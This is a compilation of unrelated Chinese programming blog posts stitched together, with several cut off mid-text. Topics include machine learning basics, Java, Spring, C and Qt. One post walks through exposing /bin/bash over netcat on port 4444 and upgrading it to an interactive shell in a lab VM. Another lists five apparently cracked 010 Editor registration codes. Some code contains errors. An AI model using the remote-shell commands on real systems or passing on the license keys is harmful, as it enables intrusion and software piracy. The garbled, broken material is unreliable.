让我们从机器学习谈起

让我们从机器学习谈起 导读:在本篇文章中,将对机器学习做个概要的介绍。本文的目的是能让即便完全不了解机器学习的人也能了解机器学习,并且上手相关的实践。当然,本文也面对一般读者,不会对阅读有相关的前提要求。 在进入正题前,我想读者心中可能会有一个疑惑:机器学习有什么重要性,以至于要阅读完这篇非常长的文章呢? 我并不直接回答这个问题前。相反,我想请大家看两张图,下图是图一: 图1 机器学习界的执牛耳者与互联网界的大鳄的联姻 这幅图上上的三人是当今机器学习界的执牛耳者。中间的是Geoffrey Hinton, 加拿大多伦多大学的教授,如今被聘为“Google大脑”的负责人。右边的是Yann LeCun, 纽约大学教授,如今是Facebook人工智能实验室的主任。而左边的大家都很熟悉,Andrew Ng,中文名吴恩达,斯坦福大学副教授,如今也是“百度大脑”的负责人与百度首席科学家。这三位都是目前业界炙手可热的大牛,被互联网界大鳄求贤若渴的聘请,足见他们的重要性。而他们的研究方向,则全部都是机器学习的子类--深度学习。 下图是图二: 图2 语音助手产品 这幅图上描述的是什么?Windows Phone上的语音助手Cortana,名字来源于《光环》中士官长的助手。相比其他竞争对手,微软很迟才推出这个服务。Cortana背后的核心技术是什么,为什么它能够听懂人的语音?事实上,这个技术正是机器学习。机器学习是所有语音助手产品(包括Apple的siri与Google的Now)能够跟人交互的关键技术。 通过上面两图,我相信大家可以看出机器学习似乎是一个很重要的,有很多未知特性的技术。学习它似乎是一件有趣的任务。实际上,学习机器学习不仅可以帮助我们了解互联网界最新的趋势,同时也可以知道伴随我们的便利服务的实现技术。 机器学习是什么,为什么它能有这么大的魔力,这些问题正是本文要回答的。同时,本文叫做“从机器学习谈起”,因此会以漫谈的形式介绍跟机器学习相关的所有内容,包括学科(如数据挖掘、计算机视觉等),算法(神经网络,svm)等等。本文的主要目录如下: 1.一个故事说明什么是机器学习 2.机器学习的定义 3.机器学习的范围 4.机器学习的方法 5.机器学习的应用--大数据 6.机器学习的子类--深度学习 7.机器学习的父类--人工智能 8.机器学习的思考--计算机的潜意识 9.总结 10.后记 1.一个故事说明什么是机器学习 机器学习这个词是让人疑惑的,首先它是英文名称Machine Learning(简称ML)的直译,在计算界Machine一般指计算机。这个名字使用了拟人的手法,说明了这门技术是让机器“学习”的技术。但是计算机是死的,怎么可能像人类一样“学习”呢? 传统上如果我们想让计算机工作,我们给它一串指令,然后它遵照这个指令一步步执行下去。有因有果,非常明确。但这样的方式在机器学习中行不通。机器学习根本不接受你输入的指令,相反,它接受你输入的数据! 也就是说,机器学习是一种让计算机利用数据而不是指令来进行各种工作的方法。这听起来非常不可思议,但结果上却是非常可行的。“统计”思想将在你学习“机器学习”相关理念时无时无刻不伴随,相关而不是因果的概念将是支撑机器学习能够工作的核心概念。你会颠覆对你以前所有程序中建立的因果无处不在的根本理念。 下面我通过一个故事来简单地阐明什么是机器学习。这个故事比较适合用在知乎上作为一个概念的阐明。在这里,这个故事没有展开,但相关内容与核心是存在的。如果你想简单的了解一下什么是机器学习,那么看完这个故事就足够了。如果你想了解机器学习的更多知识以及与它关联紧密的当代技术,那么请你继续往下看,后面有更多的丰富的内容。 这个例子来源于我真实的生活经验,我在思考这个问题的时候突然发现它的过程可以被扩充化为一个完整的机器学习的过程,因此我决定使用这个例子作为所有介绍的开始。这个故事称为“等人问题”。 我相信大家都有跟别人相约,然后等人的经历。现实中不是每个人都那么守时的,于是当你碰到一些爱迟到的人,你的时间不可避免的要浪费。我就碰到过这样的一个例子。 对我的一个朋友小Y而言,他就不是那么守时,最常见的表现是他经常迟到。当有一次我跟他约好3点钟在某个麦当劳见面时,在我出门的那一刻我突然想到一个问题:我现在出发合适么?我会不会又到了地点后,花上30分钟去等他?我决定采取一个策略解决这个问题。 要想解决这个问题,有好几种方法。第一种方法是采用知识:我搜寻能够解决这个问题的知识。但很遗憾,没有人会把如何等人这个问题作为知识传授,因此我不可能找到已有的知识能够解决这个问题。第二种方法是问他人:我去询问他人获得解决这个问题的能力。但是同样的,这个问题没有人能够解答,因为可能没人碰上跟我一样的情况。第三种方法是准则法:我问自己的内心,我有否设立过什么准则去面对这个问题?例如,无论别人如何,我都会守时到达。但我不是个死板的人,我没有设立过这样的规则。 事实上,我相信有种方法比以上三种都合适。我把过往跟小Y相约的经历在脑海中重现一下,看看跟他相约的次数中,迟到占了多大的比例。而我利用这来预测他这次迟到的可能性。如果这个值超出了我心里的某个界限,那我选择等一会再出发。假设我跟小Y约过5次,他迟到的次数是1次,那么他按时到的比例为80%,我心中的阈值为70%,我认为这次小Y应该不会迟到,因此我按时出门。如果小Y在5次迟到的次数中占了4次,也就是他按时到达的比例为20%,由于这个值低于我的阈值,因此我选择推迟出门的时间。这个方法从它的利用层面来看,又称为经验法。在经验法的思考过程中,我事实上利用了以往所有相约的数据。因此也可以称之为依据数据做的判断。 依据数据所做的判断跟机器学习的思想根本上是一致的。 刚才的思考过程我只考虑“频次”这种属性。在真实的机器学习中,这可能都不算是一个应用。一般的机器学习模型至少考虑两个量:一个是因变量,也就是我们希望预测的结果,在这个例子里就是小Y迟到与否的判断。另一个是自变量,也就是用来预测小Y是否迟到的量。假设我把时间作为自变量,譬如我发现小Y所有迟到的日子基本都是星期五,而在非星期五情况下他基本不迟到。于是我可以建立一个模型,来模拟小Y迟到与否跟日子是否是星期五的概率。见下图: 图3 决策树模型 这样的图就是一个最简单的机器学习模型,称之为决策树。 当我们考虑的自变量只有一个时,情况较为简单。如果把我们的自变量再增加一个。例如小Y迟到的部分情况时是在他开车过来的时候(你可以理解为他开车水平较臭,或者路较堵)。于是我可以关联考虑这些信息。建立一个更复杂的模型,这个模型包含两个自变量与一个因变量。 再更复杂一点,小Y的迟到跟天气也有一定的原因,例如下雨的时候,这时候我需要考虑三个自变量。 如果我希望能够预测小Y迟到的具体时间,我可以把他每次迟到的时间跟雨量的大小以及前面考虑的自变量统一建立一个模型。于是我的模型可以预测值,例如他大概会迟到几分钟。这样可以帮助我更好的规划我出门的时间。在这样的情况下,决策树就无法很好地支撑了,因为决策树只能预测离散值。我们可以用节2所介绍的线型回归方法建立这个模型。 如果我把这些建立模型的过程交给电脑。比如把所有的自变量和因变量输入,然后让计算机帮我生成一个模型,同时让计算机根据我当前的情况,给出我是否需要迟出门,需要迟几分钟的建议。那么计算机执行这些辅助决策的过程就是机器学习的过程。 机器学习方法是计算机利用已有的数据(经验),得出了某种模型(迟到的规律),并利用此模型预测未来(是否迟到)的一种方法。 通过上面的分析,可以看出机器学习与人类思考的经验过程是类似的,不过它能考虑更多的情况,执行更加复杂的计算。事实上,机器学习的一个主要目的就是把人类思考归纳经验的过程转化为计算机通过对数据的处理计算得出模型的过程。经过计算机得出的模型能够以近似于人的方式解决很多灵活复杂的问题。 下面,我会开始对机器学习的正式介绍,包括定义、范围,方法、应用等等,都有所包含。 2.机器学习的定义 从广义上来说,机器学习是一种能够赋予机器学习的能力以此让它完成直接编程无法完成的功能的方法。但从实践的意义上来说,机器学习是一种通过利用数据,训练出模型,然后使用模型预测的一种方法。 让我们具体看一个例子。 图4 房价的例子 拿国民话题的房子来说。现在我手里有一栋房子需要售卖,我应该给它标上多大的价格?房子的面积是100平方米,价格是100万,120万,还是140万? 很显然,我希望获得房价与面积的某种规律。那么我该如何获得这个规律?用报纸上的房价平均数据么?还是参考别人面积相似的?无论哪种,似乎都并不是太靠谱。 我现在希望获得一个合理的,并且能够最大程度的反映面积与房价关系的规律。于是我调查了周边与我房型类似的一些房子,获得一组数据。这组数据中包含了大大小小房子的面积与价格,如果我能从这组数据中找出面积与价格的规律,那么我就可以得出房子的价格。 对规律的寻找很简单,拟合出一条直线,让它“穿过”所有的点,并且与各个点的距离尽可能的小。 通过这条直线,我获得了一个能够最佳反映房价与面积规律的规律。这条直线同时也是一个下式所表明的函数: 房价 = 面积 * a + b 上述中的a、b都是直线的参数。获得这些参数以后,我就可以计算出房子的价格。

JavaScript函数的几种写法

几种常见写法 1. 常规写法: 最常规的写法 // 函数的定义 function foo(){ alert('常规写法'); } // 函数的调用 foo() 2. 匿名函数写法 给一个变量赋值为一个函数,即变量也为函数对象 // 函数的定义 var foo = function(){ alert('匿名函数定义'); } // 函数的调用 foo() 3. 将方法作为一个对象 将函数作为对象的方法写法,采用JSON格式(JSON对象) // 定义 var test = { foo1: function(){ }, foo2: function(){ } } // 调用 test.foo1(); test.foo2(); 4. 构造函数中给对象添加方法 JavaScript中每个对象都有prototype属性,对对象的prototype属性的解释是:返回对象类型原型的引用。 // 给对象添加方法 var foo = function(){ }; // 定义函数对象 foo.prototype.test = function(){ alert('这是在在foo函数上的原始对象上添加test方法,构造函数中用到'); } // 调用 var myfoo = new foo(); // 创建对象 myfoo.

GridControl应用点滴之控制单元格读写

在前面的文章有提到ReadOnly和AllowEdit可控制单元格的读写。 但此法只会应用于整列的单元格,有时我们会需要根据实际数据对象状态来决定读写权限。 这时我们可以通过GridControl.View中的ShowingEditor事件来处理 private void DataViewOnShowingEditor(object sender, ShowingEditorEventArgs e) { var row = e.Row as QcSysSettingItem; if (row.IsReadOnly) { e.Cancel = true; } }

URL路径中的空格处理

方法一:URLEncoder.encode() URLEncoder.encode().这个方法把所有非字母数字字符改变为%序列(除了空格、下划线、连字符、点和星号),如果把整个url给encode的话,=,&这些字符也会编码。所以最好逐部分编码; 实例: http://baidu.com?name=han&content=hello world则这样处理 url = “http://baidu.com?name=han&content=”+URLEncoder.encode(“hello world”,“utf-8”); 注:但是测试后发现是把空格转换为了+号,很是无奈。 实例: public static void main(String[] args) throws UnsupportedEncodingException { String s = "06.27"; String t[] = s.split("\\."); for(int i = 0; i < t.length; i++){ System.out.println(t[i]); } String str1 = t[0]; String str2 = t[1]; System.out.println(str1+"---"+str2); String dinnerDateTime = URLEncoder.encode(t[0]+"月"+t[1]+"日"+" "+10+":"+30,"utf-8"); System.out.println("dinnerDateTime="+dinnerDateTime); System.out.println(URLDecoder.decode(dinnerDateTime)); }实例结果: 06 27 06---27 dinnerDateTime=06%E6%9C%8827%E6%97%A5+10%3A30 06月27日+10:30 方法二: 在执行之前写上 url = url.replaceAll(" ", "%20"); 把空格替换掉 注:之后解决方法是直接把对应的 空格 换成 %20。

Java中PriorityQueue的排序

PrioriryQueue是Queue接口的一个队列实现类,但它的排序并不是典型的队列式先进先出(FIFO)的方式。 PriorityQueue的排序方式分为两种,一种是自然排序,这是按照加入元素的大小从小到大排序的。第二种是定制排序,是使用comparator类来重写compare(Object o1,Object o2)方法来实现定制排序的。但是这些都不是关键,关键在于PriorityQueue的排序不是普通的排序,而是堆排序,这有什么不同呢?来看下面一段代码: import java.util.PriorityQueue; public class PriorityQueueTest3 { public static void main(String[] args) { PriorityQueue pq = new PriorityQueue(); pq.offer(6); pq.offer(-3); pq.offer(0); pq.offer(9); System.out.println(pq); } } 输出结果:[-3,6,0,9] 不是说是按从小到大来排序的吗?怎么没排序? 原因是堆排序只会保证第一个元素也就是根节点的元素是当前优先队列里最小(或者最大)的元素,而且每一次变化之后,比如offer()或者poll()之后,都会进行堆重排,所以如果想要按从小到大的顺序取出元素,那么需要用一个for循环,如下: import java.util.PriorityQueue; public class PriorityQueueTest3 { public static void main(String[] args) { PriorityQueue pq = new PriorityQueue(); pq.offer(6); pq.offer(-3); pq.offer(0); pq.offer(9); int len = pq.size();//这里之所以取出.size()大小,因为每一次poll()之后size大小都会变化,所以不能作为for循环的判断条件 for(int i=0;i<len;i++){ System.out.print(pq.poll()+" "); } System.out.println(); } } 输出 -3 0 6 9,按照从小到大的顺序输出的

用nc反弹shell真有意思哈哈

先在bee(192.168.170.130)上面 bee@bee-box:/tmp$ nc -vlp 4444 -e /bin/bash listening on [any] 4444 ... 192.168.170.1: inverse host lookup failed: Unknown host connect to [192.168.170.130] from (UNKNOWN) [192.168.170.1] 51226 然后在自己机器(192.168.170.1)上 ➜ exploit/others master ✓ nc 192.168.170.130 4444 [14:07:23] 这个时候在bee上,用netstat -plant应该可以已经看到TCP连接已经建立了。 tcp 0 0 192.168.170.130:4444 192.168.170.1:51434 ESTABLISHED 然后继续,暂时只是一个没有命令提示符的shell,可以用python来得到一个有交互式的shell。 id uid=1000(bee) gid=1000(bee) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),125(sambashare),1000(bee) python -c "import pty; pty.spawn('/bin/bash')" bee@bee-box:/tmp$ bee@bee-box:/tmp$ pwd pwd /tmp bee@bee-box:/tmp$ ifconfig ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:82:c4:aa inet addr:192.168.170.130 Bcast:192.168.170.255 Mask:255.

springboot 目录结构

问题的发现&解决 之前一直没有觉得目录结构有多么重要,一直到 后面的代码与预期不符时 ,经过长时间的分析以及 Spring包扫描机制的存在 发现可能是目录结构 哪块不对,或者是 在配置处 哪里出了问题(注解 以及 application.properties的配置上) 在最开始的时候,主要 配置类 处(Application.java),我并没有用@SpringBootApplication而是 使用 @EnableAutoConfiguration,然而通过 @RequestMapping注解 只能访问到 主要配置类 里面有@RequestMapping注解 的方法,其他包下的其他类中的其他方法 都不能通过 @RequestMapping注解 访问。 这个 问题困扰了我很久,一直没找出来 有什么毛病,最后尝试 将@EnableAutoConfiguration注解 替换为@SpringBootApplication注解后,问题 开始浮现 启动springboot时,出现如下报错信息 org.springframework.beans.factory.BeanDefinitionStoreException: Failed to read candidate component class: URL[jar:file:/home/chanllen/.m2/repository/org/springframework/boot/spring-boot-autoconfigure/1.2.5.RELEASE/spring-boot-autoconfigure-1.2.5.RELEASE.jar!/org/springframework/boot/autoconfigure/jdbc/DataSourceAutoConfiguration$JdbcTemplateConfiguration.class]; This can happen if you are @ComponentScanning a springframework package (e.g. if you put a @ComponentScan in the default package by mistake) 经过搜索找到了答案:不应将Appication.java 文件放在src/main/java下,要将它放在src/main/java下的根包里(例如src/main/java/me/hugh 下),接着把其他包以及下面的类都移到 src/main/java/me/hugh 下,再次启动就没问题了 目录结构 me +- hugh +- Application.

010 Editor 注册码

正如官方宣言一样,Edit anyting,功能是非常强大的。 用户名:www.budingwang.com 注册码:CR96-4B9C-6470-303F 用户名:www.budingwang.com 注册码:CR71-DD9C-C1D3-55D8 用户名:www.budingwang.com 注册码:CRE7-D59C-98D4-EF4E 用户名:www.budingwang.com 注册码:CR2C-A19C-E8F5-6185 用户名:www.budingwang.com 注册码:CR5F-BA9C-6A95-9CF6 010 Editor 是一款全新概念的十六进制编辑器,能解析和编辑一切可视的二进制文件方面功能强大,有别于传统的十六进制编辑器。其最强大的功能在于支持模板和脚本操作,只要你为一种类型的二进制文件定义了模板,在以后编辑同一类型的文件的时候就能够调用原来的模板来进行自动分析文件。 转载自: http://www.ossez.com/thread-18131-1-1.html

C语言中不同类型数据之间的赋值

整数与整数之间 一、长度相等(在内存中存储的位数相等)的两个不同的类型的数据之间的赋值 在计算机中的存储内容不变,只是数据按照不同的编码格式来解析。 二、长 赋值给 短 (短 = 长) 截取低位,然后按照短整数的数据类型解析。 三、短 赋值给 长 (长 = 短) 其中,短转长又分为三种情况: 1. 两个数据都是无符号的数据,短整数直接高位补0。 2. 两个数据都是有符号的数据,短整数进行符号位扩展。 3. 两个数一个是有符号数,一个数是无符号数,那么先将短整数进行位数扩展,过程中保持数值不变,然后按照长整数的数据类型解析数据。 整数与浮点之间 浮点数转整数 截取整数部分,赋值给a int a = 3.54 a 的值为 3 整数转浮点数 小数部分为0,整数部分的值与其整数的值相等。 float b = 3; b 的值是 3.0 float 与 double 之间 double 转 float 将会丢失精度。 float 转 double 值不变。 注: 整数在计算机中都是以补码的形式存储的。

循环链表和约瑟夫环

循环链表的实现 单链表只有向后结点,当单链表的尾链表不指向NULL,而是指向头结点时候,形成了一个环,成为单循环链表,简称循环链表。当它是空表,向后结点就只想了自己,这也是它与单链表的主要差异,判断node->next是否等于head。 代码实现分为四部分: 1. 初始化 2. 插入 3. 删除 4. 定位寻找 代码实现: void ListInit(Node *pNode){ int item; Node *temp,*target; cout<<"输入0完成初始化"<<endl; while(1){ cin>>item; if(!item) return ; if(!(pNode)){ //当空表的时候,head==NULL pNode = new Node ; if(!(pNode)) exit(0);//未成功申请 pNode->data = item; pNode->next = pNode; } else{ // for(target = pNode;target->next!=pNode;target = target->next) ; temp = new Node; if(!(temp)) exit(0); temp->data = item; temp->next = pNode; target->next = temp; } } } void ListInsert(Node *pNode,int i){ //参数是首节点和插入位置 Node *temp; Node *target; int item; cout<<"

BS与CS的联系与区别(环境、安全、架构、重用、处理、维护、接口、信息流)

C/S是Client/Server的缩写。服务器通常采用高性能的PC、工作站或小型机,并采用大型数据库系统,如Oracle、Sybase、InFORMix或 SQL Server。客户端需要安装专用的客户端软件。 B/S是Brower/Server的缩写,客户机上只要安装一个浏览器(Browser),如Netscape Navigator或Internet Explorer,服务器安装Oracle、Sybase、InFORMix或 SQL Server等数据库。在这种结构下,用户界面完全通过WWW浏览器实现,一部分事务逻辑在前端实现,但是主要事务逻辑在服务器端实现。浏览器通过Web Server 同数据库进行数据交互。 C/S 与 B/S 区别: 1.硬件环境不同: C/S 一般建立在专用的网络上, 小范围里的网络环境, 局域网之间再通过专门服务器提供连接和数据交换服务. B/S 建立在广域网之上的, 不必是专门的网络硬件环境,例与电话上网, 租用设备. 信息自己管理. 有比C/S更强的适应范围, 一般只要有操作系统和浏览器就行 2.对安全要求不同 C/S 一般面向相对固定的用户群, 对信息安全的控制能力很强. 一般高度机密的信息系统采用C/S 结构适宜. 可以通过B/S发布部分可公开信息. B/S 建立在广域网之上, 对安全的控制能力相对弱, 可能面向不可知的用户。 3.对程序架构不同 C/S 程序可以更加注重流程, 可以对权限多层次校验, 对系统运行速度可以较少考虑. B/S 对安全以及访问速度的多重的考虑, 建立在需要更加优化的基础之上. 比C/S有更高的要求 B/S结构的程序架构是发展的趋势, 从MS的.Net系列的BizTalk 2000 Exchange 2000等, 全面支持网络的构件搭建的系统.SUN 和IBM推的JavaBean 构件技术等,使 B/S更加成熟. 4.软件重用不同 C/S 程序可以不可避免的整体性考虑, 构件的重用性不如在B/S要求下的构件的重用性好. B/S 对的多重结构,要求构件相对独立的功能. 能够相对较好的重用.就入买来的餐桌可以再利用,而不是做在墙上的石头桌子 5.系统维护不同 C/S 程序由于整体性, 必须整体考察, 处理出现的问题以及系统升级. 升级难. 可能是再做一个全新的系统

wireshark中查找字符串

应该在Packet details中找,而且是找string。 默认的是在Packet list中找,而且是找Display filter 挂不得找不到!方法不对! 这不就找到了吗? 过滤查看包含某字符串的http数据包: http contains “string”(tcp同理) 过滤查看请求某一url的流量: http.request.uri == “path”或 http.request.uri contains “path” 参考: https://mp.weixin.qq.com/s/w6nvyYFsTaZqE2AcoTvEIA

欢迎使用CSDN-markdown编辑器-

欢迎使用Markdown编辑器写博客 本Markdown编辑器使用StackEdit修改而来,用它写博客,将会带来全新的体验哦: Markdown和扩展Markdown简洁的语法代码块高亮图片链接和图片上传LaTex数学公式UML序列图和流程图离线写博客导入导出Markdown文件丰富的快捷键 快捷键 加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl + Q插入链接 Ctrl + L插入代码 Ctrl + K插入图片 Ctrl + G提升标题 Ctrl + H有序列表 Ctrl + O无序列表 Ctrl + U横线 Ctrl + R撤销 Ctrl + Z重做 Ctrl + Y Markdown及扩展 Markdown 是一种轻量级标记语言,它允许人们使用易读易写的纯文本格式编写文档,然后转换成格式丰富的HTML页面。 —— [ 维基百科 ] 使用简单的符号标识不同的标题,将某些文字标记为粗体或者斜体,创建一个链接等,详细语法参考帮助?。 本编辑器支持 Markdown Extra , 扩展了很多好用的功能。具体请参考Github. 表格 Markdown Extra 表格语法: 项目价格Computer$1600Phone$12Pipe$1 可以使用冒号来定义对齐方式: 项目价格数量Computer1600 元5Phone12 元12Pipe1 元234 定义列表 Markdown Extra 定义列表语法: 项目1 项目2 定义 A 定义 B 项目3 定义 C 定义 D

Spring @Scheduled定时任务动态修改cron参数

在定时任务类上增加@EnableScheduling注解,并实现SchedulingConfigurer接口。(注意低版本无效)设置一个静态变量cron,用于存放任务执行周期参数。另辟一线程,用于模拟实际业务中外部原因修改了任务执行周期。设置任务触发器,触发任务执行,其中就可以修改任务的执行周期。 Class : SpringDynamicCornTask package com.xindatai.ibs.lime.dycSchedul; import java.util.Date; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.context.annotation.Lazy; import org.springframework.scheduling.Trigger; import org.springframework.scheduling.TriggerContext; import org.springframework.scheduling.annotation.EnableScheduling; import org.springframework.scheduling.annotation.SchedulingConfigurer; import org.springframework.scheduling.config.ScheduledTaskRegistrar; import org.springframework.scheduling.support.CronTrigger; import org.springframework.stereotype.Component; /** * Spring动态周期定时任务 在不停应用的情况下更改任务执行周期 * * @author Liang * * 2017年6月1日 */ @Lazy(false) @Component @EnableScheduling public class SpringDynamicCornTask implements SchedulingConfigurer { private static final Logger logger = LoggerFactory.getLogger(SpringDynamicCornTask.class); private static String cron; private SpringDynamicCornTask() { cron = "0/5 * * * * ?

[范例]从正在运行的Linux进程中dump出内存内容

参考: https://colin.guru/index.php?title=Dumping_Ram_From_Running_Linux_Processes 最近看到有个CTF题感觉挺有意思,就是从一个bin中找到一个secret key,然后用来签名session cookies用来怼一个使用go的Web服务器。通常这种类型题的flag都比较直接。可以直接用strings怼这个bin就可以了,然而这次的这个题目中的bin不同,因为有太多杂碎(noise)要过滤了。于是在此我就来展示一下如何用一些基本的Linux命令配合gdb从进程中dump出内存中的信息。 先file一下, $ file ctf-bin ctf-bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), not stripped 发现是64位的Linux可执行文件。 然后strings一下, $ strings -n 10 ctf-bin | wc | uniq 71085 106643 2081483 发现字符串太多,还是先不看,再研究深一点吧。 然后先运行一下程序, $ ./ctf-bin 然后再另一个终端找到这个进程的PID $ ps -elf | grep ctf-bin 4 S root 6686 5777 0 80 0 - 8403 - 17:02 pts/0 00:00:00 ./ctf-bin 0 S root 6701 6694 0 80 0 - 3179 - 17:02 pts/2 00:00:00 grep ctf-bin 然后cat一下它的内存(太长不看TL;DR)

JSP学习笔记之三——关于servlet配置web.xml出现的问题

问题1:配置完web.xml文件后部署到Tomcat时报错。错误信息显示如下: 严重: ContainerBase.addChild: start: org.apache.catalina.LifecycleException: Failed to start component [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/myshopping]] at org.apache.catalina.util.LifecycleBase.handleSubClassException(LifecycleBase.java:441) *****************************此处略去若干行******************************************* at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:495) Caused by: java.lang.IllegalArgumentException: The servlets named [GoHallUI] and [com.syj.controller.GoHallUI] are both mapped to the url-pattern [/GoHallUI] which is not permitted at org.apache.tomcat.util.descriptor.web.WebXml.addServletMappingDecoded(WebXml.java:328) at org.apache.tomcat.util.descriptor.web.WebXml.addServletMapping(WebXml.java:321) at org.apache.catalina.startup.ContextConfig.processAnnotationWebServlet(ContextConfig.java:2391) at org.apache.catalina.startup.ContextConfig.processAnnotationsStream(ContextConfig.java:2068) at org.apache.catalina.startup.ContextConfig.processAnnotationsWebResource(ContextConfig.java:1954) at org.apache.catalina.startup.ContextConfig.processAnnotationsWebResource(ContextConfig.java:1948) at org.apache.catalina.startup.ContextConfig.processAnnotationsWebResource(ContextConfig.java:1948) at org.apache.catalina.startup.ContextConfig.processAnnotationsWebResource(ContextConfig.java:1948) at org.apache.catalina.startup.ContextConfig.webConfig(ContextConfig.java:1153) at org.apache.catalina.startup.ContextConfig.configureStart(ContextConfig.java:775) at org.apache.catalina.startup.ContextConfig.lifecycleEvent(ContextConfig.java:299) at org.apache.catalina.util.LifecycleBase.fireLifecycleEvent(LifecycleBase.java:123) at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5095) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:183) ... 38 more 五月 26, 2017 3:44:52 下午 org.

输入一个链表的头结点,从尾到头反过来打印每个结点的值

可以利用栈的结构来存储,每经过一个结点的时候,把该结点放到一个栈当中去,当遍历完整个链表后,再从栈顶开始主格输出结点的值 struct ListNode { int m_nKey; ListNode* m_pNext; }; void PrintListReversingly_Iteratively(ListNode* pHead) { std::stack<ListNode*> = pHead; ListNode* pNode = pHead; while(pNode != NULL) { nodes.push_back(pNode); pNode = pNode->m_pNext; } while(!nodes.empty()) { pNode = nodes.top(); cout<<pNode->m_nValue<<"-->"; nodes.pop(); } cout<<endl; } 由此可以想到使用递归的方法,我们每访问到一个结点的时候,先递归输出它后面的结点,再输出该结点本身,这样输出结果自然就反过来的。 void PrintListReversingly_Recursively(ListNode* pHead) { if(pHead != NULL) { if(pHead->m_pNext != NULL) { PrintListReversingly_Recursively(pHead->m_pNext); } cout<<pHead->m_nValue<<"-->"; } }当然递归会调用堆栈比较多,所以要根据情况来看使用递归还是栈

08 QT实现批量修改文件名的程序

一目录下有多个文件名,如下: bd_aaaaaaa_1.avi bd_aaaaaaa_2.avi bd_aaaaaaa_3.avi bd_aaaaaaa_4.avi …. 修改成: bd_1.avi bd_2.avi bd_3.avi bd_4.avi … 首先 需要接收用户的配置信息: 目录的路径, 需要修改的字符串(名字的子串), 修改成什么样的名字 需要获取指定目录下的文件名. 修改文件名, 并加入进度条显示进度。 所需的技术: 1 可用QLineEdit接收用户的输入信息. QString QFileDialog::getExistingDirectory 用于获取用户指定的目录路径 2 可用QDir获取目录里的文件名 3 每个文件名都是QString,文件名的修改就是修改字符串里的子串 //把字符串中的 llo 修改成 abc QString str = "hello world"; QString str2 = "abc"; int n = str.indexOf("llo"); //查找"llo"在字符串中出现的位置 str = str.replace(n, 4, "abc"); //进行替换 qDebug() << str; 文件改名可用QFile的函数成员rename来完成. 完整代码 mywin.h #ifndef MYWIN_H #define MYWIN_H #include <QWidget> #include <QLineEdit> #include <QPushButton> #include <QProgressBar> #include <QHBoxLayout> #include <QVBoxLayout> #include <QLabel> class MyWin : public QWidget { Q_OBJECT private: QLabel *lbl_dir, *lbl_str_before, *lbl_str_after; QLineEdit *lnd_dir; //目录路径的输入框 QLineEdit *lnd_str_before; //修改前的字符串输入框 QLineEdit *lnd_str_after; //修改后的字符串输入框 QPushButton *btn_dir, *btn_change; QProgressBar *bar; QHBoxLayout *hlayout1, *hlayout2; QVBoxLayout *vlayout; public: explicit MyWin(QWidget *parent = 0); ~MyWin(); signals: public slots: void slot_btn_dir(); void slot_btn_change(); }; #endif // MYWIN_H mywin.